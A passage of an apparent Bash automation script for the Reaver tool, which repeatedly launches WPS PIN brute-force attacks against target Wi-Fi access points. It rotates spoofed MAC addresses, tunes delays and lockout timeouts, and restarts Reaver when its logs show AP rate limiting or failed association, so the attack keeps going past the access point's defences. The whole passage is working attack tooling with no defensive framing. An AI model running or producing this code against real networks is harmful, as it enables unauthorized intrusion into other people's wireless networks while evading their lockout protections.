                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE33 == n ] || [ $KEEP_FILE33 == N ]; then

          rm VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R34 == n || $USE_R34 == N ]] && [[ $USE_LONG34 == n || $USE_LONG34 == N ]] && [[ $USE_PIN34 == n || $USE_PIN34 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME34"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL34"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP34"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE34 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME34-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL34 -b $TARGETAP34 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME34-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE34-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R34 == y || $USE_R34 == Y ]] && [[ $USE_LONG34 == n || $USE_LONG34 == N ]] && [[ $USE_PIN34 == n || $USE_PIN34 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME34"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL34"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP34"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX34" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY34"
echo -e "$info Reaver live time                   = $yel$LIVE34 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME34-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL34 -b $TARGETAP34 -vv -x 60 -r $RX34:$RY34 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME34-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE34-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R34 == n || $USE_R34 == N ]] && [[ $USE_LONG34 == y || $USE_LONG34 == Y ]] && [[ $USE_PIN34 == n || $USE_PIN34 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME34"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL34"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP34"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE34 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME34-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL34 -b $TARGETAP34 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME34-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE34-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R34 == y || $USE_R34 == Y ]] && [[ $USE_LONG34 == y || $USE_LONG34 == Y ]] && [[ $USE_PIN34 == n || $USE_PIN34 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME34"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL34"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP34"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX34" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY34"
echo -e "$info Reaver live time                   = $yel$LIVE34 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME34-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL34 -b $TARGETAP34 -r $RX34:$RY34 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME34-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE34-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R34 == n || $USE_R34 == N ]] && [[ $USE_LONG34 == n || $USE_LONG34 == N ]] && [[ $USE_PIN34 == y || $USE_PIN34 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME34"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL34"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP34"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE34 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME34-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL34 -b $TARGETAP34 -vv -x 60  --pin=$WPS_PIN34 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME34-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE34-60))/3))
LINECAP=2 # Set line capture switch


